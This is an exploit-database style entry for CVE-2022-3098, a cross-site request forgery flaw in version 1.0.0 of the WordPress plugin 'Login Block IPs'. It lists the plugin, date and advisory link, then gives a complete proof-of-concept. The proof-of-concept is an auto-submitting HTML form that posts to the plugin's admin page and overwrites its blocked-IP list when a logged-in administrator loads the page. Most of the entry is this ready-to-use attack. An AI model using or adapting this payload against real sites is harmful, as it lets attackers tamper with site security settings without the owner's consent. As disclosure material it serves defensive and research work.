CVE: CVE-2022-3098

Name: Login Block IPs (login-block-ips)

Version: 1.0.0

Date: 2022-04-06 22:12:11

Advisory: https://wpscan.com/vulnerability/f4fcf41b-c05d-4236-8e67-a52d0f94c80a

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/admin.php?page=login-block-ips%2Fadmin%2Fpartials%2Flogin-block-ips-admin-display.php" method="POST">
    <input type="text" name="login-block-ips-form" value="1">
    <input type="text" name="security_code" value="zzz">
    <input type="text" name="ip1" value="4.4.4.4">
    <input type="text" name="ipdesc1" value="test4">
    <input type="text" name="ip2" value="">
    <input type="text" name="ipdesc2" value="">
    <input type="text" name="ip3" value="">
    <input type="text" name="ipdesc3" value="">
    <input type="text" name="ip4" value="">
    <input type="text" name="ipdesc4" value="">
    <input type="text" name="ip5" value="">
    <input type="text" name="ipdesc5" value="">
    <input type="text" name="ip6" value="">
    <input type="text" name="ipdesc6" value="">
    <input type="text" name="ip7" value="">
    <input type="text" name="ipdesc7" value="">
    <input type="text" name="ip8" value="">
    <input type="text" name="ipdesc8" value="">
    <input type="text" name="ip9" value="">
    <input type="text" name="ipdesc9" value="">
    <input type="text" name="ip10" value="">
    <input type="text" name="ipdesc10" value="">
    <input type="text" name="ip11" value="">
    <input type="text" name="ipdesc11" value="">
    <input type="text" name="ip12" value="">
    <input type="text" name="ipdesc12" value="">
    <input type="text" name="ip13" value="">
    <input type="text" name="ipdesc13" value="">
    <input type="text" name="ip14" value="">
    <input type="text" name="ipdesc14" value="">
</form>
<script>
    document.forms[0].submit();
</script>